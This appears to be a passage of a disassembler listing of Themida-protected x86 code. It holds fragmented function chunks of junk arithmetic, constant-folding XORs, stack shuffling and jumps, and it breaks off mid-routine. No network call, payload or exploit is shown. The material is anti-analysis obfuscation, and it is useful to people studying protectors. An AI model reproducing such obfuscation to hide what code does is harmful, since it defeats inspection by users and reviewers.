; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56D973: ; CODE XREF: sub_5638E4+C07Fj
mov [esp+10h+var_10], esi
push 21821155h
pop esi
xor esi, 641C5CCCh
jmp loc_570693
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56D987: ; CODE XREF: sub_570FB7-342Fj
xor edi, eax
xor eax, edi
push 681Ch
mov [esp+0], ebx
mov ebx, 66C870AAh
xor eax, ebx
mov ebx, [esp+0]
add esp, 4
push 4164h
jmp loc_56C458
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56D9AA: ; CODE XREF: sub_5685B2+8C9Dj
sub [esp+0Ch+var_C], 777A2533h
sub [esp+0Ch+var_C], ebp
push ebx
mov ebx, 777A2533h
add [esp+10h+var_C], ebx
jmp loc_5601B0
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_56D9C3: ; CODE XREF: sub_566117-4D53j
add ebx, ecx
jmp loc_572650
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56D9CA: ; CODE XREF: sub_568E5C+32CCj
pop ecx
sub ebx, 4473277Fh
add ebx, 737B06FDh
sub ebx, 7D890A8Ch
add ebx, eax
add ebx, 7D890A8Ch
sub ebx, 737B06FDh
add ebx, 4473277Fh
sub ebx, 48FA110Eh
jmp sub_57236D
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_56D9FC: ; CODE XREF: sub_567B29-6F9j
mov edx, esp
add edx, 4
jmp loc_56FDBF
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBD1
loc_56DA09: ; CODE XREF: sub_56DBD1-B835j
add dword ptr [esp+0], 722776FCh
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_56DA15: ; CODE XREF: sub_574949-6BE1j
xchg ebx, esi
jmp loc_56101D
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_56DA1C: ; CODE XREF: sub_56A608+46FEj
sub esi, edx
pop edx
or ecx, esi
pop esi
jmp loc_571A59
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56DA27: ; CODE XREF: sub_56CD13-BB3Cj
sub ecx, ebp
push 40Ch
mov [esp+14h+var_14], edx
jmp loc_57018D
; END OF FUNCTION CHUNK FOR sub_56CD13
; =============== S U B R O U T I N E =======================================
sub_56DA36 proc near ; CODE XREF: sub_560137+1274j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560BB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569BDA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005713FC SIZE 0000000C BYTES
push ebp
mov ebp, 68873CA9h
neg ebp
jmp loc_569BDA
sub_56DA36 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_56DA43 proc near ; CODE XREF: sub_562ED9+FD31j
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560024 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005608F6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00560E35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056173F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562E5C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056505A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566180 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005688E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569FC0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DD0A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E3BF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056F858 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FF9F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570AF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571E0D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0057218C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572B04 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00572F73 SIZE 00000015 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
push ecx
push edi
mov edi, 0A5255B6h
shl edi, 2
or edi, 7ED547A9h
neg edi
add edi, 9D40BD51h
mov ecx, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
not ecx
jmp loc_56FF9F
sub_56DA43 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568F83
loc_56DA73: ; CODE XREF: sub_568F83+A831j
mov esp, [esp+4+var_4]
add word ptr [esp+4+var_4], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_568F83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_56DA80: ; CODE XREF: sub_57236D-20EAj
mov [esp+4+var_4], eax
push edi
mov edi, 4
push edi
pop eax
pop edi
add ecx, eax
pop eax
xor ecx, [esp+0]
jmp loc_561B9C
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
loc_56DA97: ; CODE XREF: Themida_:0056A202j
pop edx
jmp loc_56A66E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_56DA9D: ; CODE XREF: sub_56D359+5612j
add ecx, eax
pop eax
xchg ecx, [esp+8+var_8]
pop esp
jmp loc_569670
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56DAA9: ; CODE XREF: sub_56651E+62CEj
mov [esp+0], edx
push ebp
jmp loc_56F22B
; END OF FUNCTION CHUNK FOR sub_56651E
; =============== S U B R O U T I N E =======================================
sub_56DAB2 proc near ; CODE XREF: sub_566400-3C11j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00564051 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566596 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00567272 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057126A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00573055 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0057401B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00575205 SIZE 0000000B BYTES
push ebp
sub esp, 4
mov [esp+8+var_8], edi
mov edi, 3757244Fh
mov ebp, edi
jmp loc_575205
sub_56DAB2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_56DAC8: ; CODE XREF: sub_572641-1116Cj
sub al, 0Fh
sub esp, 4
mov [esp+4+var_4], ebx
mov bl, 18h
sub esp, 2
mov word ptr [esp+8+var_8], dx
push ebx
mov bl, 4
mov dl, bl
pop ebx
add bl, dl
mov dx, word ptr [esp+8+var_8]
add esp, 2
jmp loc_5658A3
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56DAF0: ; CODE XREF: sub_565632+1AC1j
add esp, 4
sub esp, 4
mov [esp+4+var_4], edi
mov ebp, [esp+4+var_4]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_571CC7
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56DB1A: ; CODE XREF: sub_574A21-B7D5j
or edx, 316D0658h
dec edx
xor edx, 463943E6h
xor edx, 7F446CBFh
jmp loc_569280
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56DB32: ; CODE XREF: sub_56BD44-494Ej
sub ecx, 0F3C52C3Ah
mov edx, ecx
pop ecx
or edx, 1C831AC8h
jmp loc_5684FC
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680F2
loc_56DB46: ; CODE XREF: sub_5680F2+A1B9j
mov [esp+0Ch+var_C], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push 6395h
mov [esp-4+arg_0], ecx
push 306h
jmp loc_564441
; END OF FUNCTION CHUNK FOR sub_5680F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56DB6F: ; CODE XREF: sub_569FB8+635Ej
mov dh, ch
mov ah, dh
mov edx, [esp+0Eh+var_E]
push edi
mov edi, esp
jmp loc_56AF14
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56DB7E: ; CODE XREF: sub_570FB7-1AADj
add eax, 571C772Ah
xchg eax, edi
not edi
xor eax, edi
jmp loc_56D987
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56DB8D: ; CODE XREF: sub_574FC9-1406Fj
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov ax, [esp+0]
push eax
jmp loc_56D1B6
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56DB9D: ; CODE XREF: sub_574CDD-1084j
push 7085h
mov [esp+4+var_4], edx
push edi
mov edi, 0D00517Fh
jmp loc_563897
; END OF FUNCTION CHUNK FOR sub_574CDD
; =============== S U B R O U T I N E =======================================
sub_56DBB0 proc near ; CODE XREF: sub_564EBE+304Cj
; FUNCTION CHUNK AT 005615B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C7B1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056CCC0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056FE4D SIZE 00000012 BYTES
push ebp
mov ebp, 0D61DD54Eh
xor ecx, ebp
pop ebp
add edx, ecx
mov ecx, [esp+0]
jmp loc_5615B7
sub_56DBB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_56DBC3: ; CODE XREF: sub_56EE9F-219Fj
xor ebx, 5889556Eh
mov eax, ebx
pop ebx
jmp loc_571597
; END OF FUNCTION CHUNK FOR sub_56EE9F
; =============== S U B R O U T I N E =======================================
sub_56DBD1 proc near ; CODE XREF: sub_570E81-38FDj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00562388 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056B644 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DA09 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571415 SIZE 00000019 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 68A60D4h
add [esp+4+arg_0], eax
jmp loc_56B644
sub_56DBD1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_56DBE5: ; CODE XREF: sub_56F3B2-A1BDj
pop esp
shl dword ptr [esp+0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56DBEF: ; CODE XREF: sub_561541+772Fj
push eax
push ebx
mov ebx, 44485FFBh
mov eax, ebx
pop ebx
xor ecx, eax
mov eax, [esp+8+var_8]
add esp, 4
push 6A7Bh
mov [esp+8+var_8], esi
mov esi, 658E587Ch
not esi
jmp loc_567806
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
loc_56DC15: ; CODE XREF: Themida_:00563296j
add eax, 4
xor eax, [esp]
jmp loc_56C8E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_56DC20: ; CODE XREF: sub_569A75+Aj
mov cl, 8Dh
jmp loc_56105E
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56DC27: ; CODE XREF: sub_56B06D-58j
sub ecx, 192C4019h
add ecx, eax
add ecx, 192C4019h
add ecx, 64EF5701h
jmp loc_565000
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56DC40: ; CODE XREF: sub_561418+7BFEj
add ecx, 0AFE81DD8h
add esi, ecx
pop ecx
xchg esi, [esp+10h+var_10]
pop esp
push esi
jmp loc_56C208
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56DC53: ; CODE XREF: sub_571F6F-BD09j
add esi, 4
add esi, 4
xchg esi, [esp+14h+var_14]
jmp loc_5625EE
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_56DC64: ; CODE XREF: sub_565849+6j
inc ebx
neg ebx
shr ebx, 4
push edx
mov edx, 950ECA1Eh
jmp loc_5655F9
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56DC75: ; CODE XREF: sub_564D26+FDF6j
pop edi
pop ecx
push ecx
mov ecx, 4
add ebp, 49A66314h
sub ebp, ecx
sub ebp, 49A66314h
pop ecx
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
mov ebx, 80h
and ecx, ebx
push [esp+4+var_4]
jmp loc_560074
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5750DE
loc_56DCA2: ; CODE XREF: sub_5750DE-F174j
push 59D24C86h
pop edx
jmp sub_56331C
; END OF FUNCTION CHUNK FOR sub_5750DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56DCAD: ; CODE XREF: sub_56E126+132Bj
or esi, 1506244Eh
xor esi, 3DCA501Ch
jmp loc_564F7E
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56DCBE: ; CODE XREF: sub_56B06D-6ECEj
add [esp+8+var_4], esi
pop esi
mov ebp, [esp+4+var_4]
add esp, 4
push 2929h
mov [esp+4+var_4], edi
push eax
jmp loc_56EBE0
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_56DCDA: ; CODE XREF: sub_56FD97-9F77j
push [esp+4+var_4]
pop ebx
add esp, 4
push 3EECh
mov [esp+4+var_4], ebp
mov ebp, 27F16224h
jmp loc_565E03
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57377E
loc_56DCF3: ; CODE XREF: sub_57377E-125B5j
add edi, 4
sub edi, 4
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_56357B
; END OF FUNCTION CHUNK FOR sub_57377E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_56DD0A: ; CODE XREF: sub_56DA43-3A7Bj
add esp, 4
shl ebp, 8
xor ebp, 37670B5Ch
jmp loc_572F73
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
loc_56DD1B: ; CODE XREF: Themida_:0057048Aj
push 41491402h
pop ebp
push ecx
mov ecx, 2DAF1A3Fh
add ecx, 0F3B7F141h
sub ebp, ecx
jmp loc_57406A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_56DD34: ; CODE XREF: sub_566117+6BF7j
mov [esp+4+var_4], ebp
mov ebp, esp
push ebx
push edi
push ebx
mov ebx, 29D85C7Bh
mov edi, ebx
pop ebx
mov ebx, 0D627A389h
sub ebx, 425402B3h
jmp loc_566A74
; END OF FUNCTION CHUNK FOR sub_566117
; =============== S U B R O U T I N E =======================================
sub_56DD54 proc near ; CODE XREF: sub_5753A5-DC40j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00561B70 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00565202 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005658F4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056850A SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056C378 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F40B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570D58 SIZE 00000028 BYTES
push ebp
mov ebp, 1B3D5BC9h
jmp loc_56F40B
sub_56DD54 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_56DD5F: ; CODE XREF: sub_574949-EB97j
not eax
xchg eax, esi
xor esi, 75C30254h
jmp loc_56DA15
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56DD6D: ; CODE XREF: sub_56AB5E+2CC0j
pop eax
jmp loc_57230B
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_56DD73: ; CODE XREF: sub_56FD38-FB20j
mov eax, esp
push edi
mov edi, esp
add edi, 4
jmp loc_56F968
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56DD83: ; CODE XREF: sub_569FB8+6E45j
xor cl, 6
add cl, 25h
sub cl, 5Dh
mov dl, cl
pop ecx
jmp loc_56E03F
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_56DD94: ; CODE XREF: sub_566117+9j
mov eax, [esp+0Ch+var_C]
add esp, 4
push ebx
jmp loc_569112
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56DDA3: ; CODE XREF: sub_565632+26B1j
xor ecx, 64C72987h
jmp loc_570865
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56DDAE: ; CODE XREF: sub_563A7F+1FBj
add ecx, edx
add ecx, 6C272A13h
pop edx
sub ecx, 0FFFFFFFFh
xor ecx, 545F4284h
jmp loc_56F851
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_56DDC5 proc near ; DATA XREF: Themida_:0055FE58o
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056B6A0 SIZE 00000005 BYTES
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp-4+arg_0], eax
pushf
jmp loc_56B6A0
sub_56DDC5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_56DDD3: ; CODE XREF: sub_565A8D+Ej
push ecx
mov ecx, 4
add [esp+0Ch+var_8], ecx
pop ecx
pop ebx
add ebx, 4
push ecx
jmp loc_5699DA
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56DDEB: ; CODE XREF: sub_570732-AB4j
sub edi, 0A011B68h
add edi, ecx
add edi, 0A011B68h
jmp loc_5638BF
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_56DDFE: ; CODE XREF: sub_560EA2+B073j
push esi
mov esi, 7B1216A7h
xor ebx, esi
jmp loc_5655C1
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56DE0B: ; CODE XREF: sub_574CDD-56E3j
mov ebx, 4
add ecx, ebx
pop ebx
push 3417h
mov [esp+0], esi
mov esi, 1DDC30E9h
jmp loc_567924
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56DE25: ; CODE XREF: sub_564BC5-10CAj
add eax, 57D9123Dh
push edi
mov edi, eax
mov edx, edi
jmp loc_5646A6
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56DE34: ; CODE XREF: sub_564D26-4C74j
pop edx
add esp, 4
push ebx
push esp
pop ebx
push ecx
jmp loc_560576
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_56DE44: ; CODE XREF: Themida_:00566A3Cj
add edx, 3ADF2B90h
push eax
mov eax, 1BED3AB8h
sub edx, eax
pop eax
jmp loc_561754
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56DE58: ; CODE XREF: sub_574304-CD0Ej
mov edx, 1D922FA7h
inc edx
dec edx
jmp loc_56551F
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56DE64: ; CODE XREF: sub_568646+66F4j
push ecx
push eax
jmp loc_56E0D6
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56DE6B: ; CODE XREF: sub_574F16-AD1Cj
add edx, 4
add edx, 2
xchg edx, [esp+6+var_6]
jmp loc_568E37
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_56DE7F: ; CODE XREF: sub_563207-1610j
pop ebx
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
push 1A06h
jmp loc_571F38
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56DE94: ; CODE XREF: sub_571F6F-1118Dj
mov ch, dh
mov edx, [esp+0Ch+var_E+2]
add esp, 4
push edx
jmp loc_567EAC
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_56DEA2: ; CODE XREF: sub_56A608-42B2j
or eax, 50321B31h
shl eax, 6
or eax, 1E9A6020h
inc eax
add eax, 733ABCC5h
add ecx, eax
pop eax
add ebx, ecx
pop ecx
push esi
mov esi, 479C20BCh
jmp loc_56C00E
; END OF FUNCTION CHUNK FOR sub_56A608
; =============== S U B R O U T I N E =======================================
sub_56DEC6 proc near ; DATA XREF: Themida_:0055FE3Co
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp+0], al
pushf
jmp loc_55FF9F
sub_56DEC6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_56DED5: ; CODE XREF: sub_567866-1C7Fj
push edi
mov edi, esp
jmp loc_56276F
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56DEDD: ; CODE XREF: sub_574CDD-6182j
sub esi, 4A95705Ah
add esi, 4291405Eh
push edi
mov edi, 2EEB1A0Eh
neg edi
inc edi
push ebp
mov ebp, 94D68E7Bh
add edi, ebp
pop ebp
sub ecx, edi
mov edi, [esp+4+var_4]
push edx
jmp loc_56BDC5
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_56DF06: ; CODE XREF: sub_570B3C-7A9Ej
mov [esp+0], eax
mov eax, 5E675F99h
add ebx, eax
pop eax
jmp loc_56974A
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56DF16: ; CODE XREF: sub_568764+B2A3j
add ecx, 13105F79h
pop edx
mov esi, [esp+4+var_4]
add esp, 4
add ecx, 2
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
jmp loc_57426F
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_56DF37: ; CODE XREF: sub_569A84-14Bj
push eax
mov eax, 4B440A4Bh
push ecx
jmp loc_56A298
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_56DF43: ; CODE XREF: sub_56F3B2-C776j
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
push esi
push ecx
push 710566CCh
jmp loc_56E88D
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56DF59: ; CODE XREF: sub_564BC5+5BE3j
push edx
sub esp, 4
jmp loc_571FAD
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_56DF65: ; CODE XREF: sub_56EFD2+6j
add [esp+4+var_4], 4
pop edi
push 6317h
jmp loc_564DC5
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_56DF77: ; CODE XREF: sub_569AB3-3236j
push esi
mov esi, esp
jmp loc_5621FD
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_56DF7F: ; CODE XREF: sub_563819+D4A7j
mov [esp-8+arg_4], ecx
mov ecx, 0
add ecx, edx
push 2C70h
mov [esp-4+arg_0], edx
mov edx, 0
add edx, ecx
add eax, [edx]
pop edx
pop ecx
push [esp-0Ch+arg_8]
jmp loc_5630B5
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
loc_56DFA4: ; CODE XREF: Themida_:0056862Bj
pop esp
jmp loc_570E9D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_56DFAA: ; CODE XREF: sub_573167-DF25j
pop esi
sub esi, 5DAF43E9h
pop eax
mov edx, [esp+8+var_8]
add esp, 4
add ebx, esi
mov esi, [esp+4+var_4]
add esp, 4
add ebx, 4
push 11CCh
mov [esp+4+var_4], ebx
jmp loc_565358
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56DFD3: ; CODE XREF: sub_563A7F+23EDj
or ebp, 0F7032F0h
add ebp, 735C604Dh
add ebp, 7D2C60BAh
add ebx, ebp
pop ebp
add ebx, 4
xor ebx, [esp+0Eh+var_10+2]
xor [esp+0Eh+var_10+2], ebx
xor ebx, [esp+0Eh+var_10+2]
jmp loc_563C6D
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_56DFF9 proc near ; DATA XREF: Themida_:0055FDE0o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00564478 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564699 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FDD9 SIZE 0000000B BYTES
mov ax, [esp+0]
push 5701h
mov [esp+4+var_4], edx
push 3374h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
jmp loc_56FDD9
sub_56DFF9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56E02C: ; CODE XREF: sub_568E5C+632Ej
mov [esp+0], ebp
push edx
push 0F3C2483h
pop edx
neg edx
not edx
jmp loc_56D50D
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56E03F: ; CODE XREF: sub_569FB8+3DD7j
add al, dl
mov edx, [esp+6+var_6]
jmp loc_56C180
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560276
loc_56E049: ; CODE XREF: sub_560276+2F7Dj
mov edi, 0FFFFFFFFh
sub edx, edi
pop edi
add edx, 3B5438EDh
jmp sub_57377E
; END OF FUNCTION CHUNK FOR sub_560276
; =============== S U B R O U T I N E =======================================
sub_56E05C proc near ; CODE XREF: sub_56592A+4j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056087B SIZE 00000014 BYTES
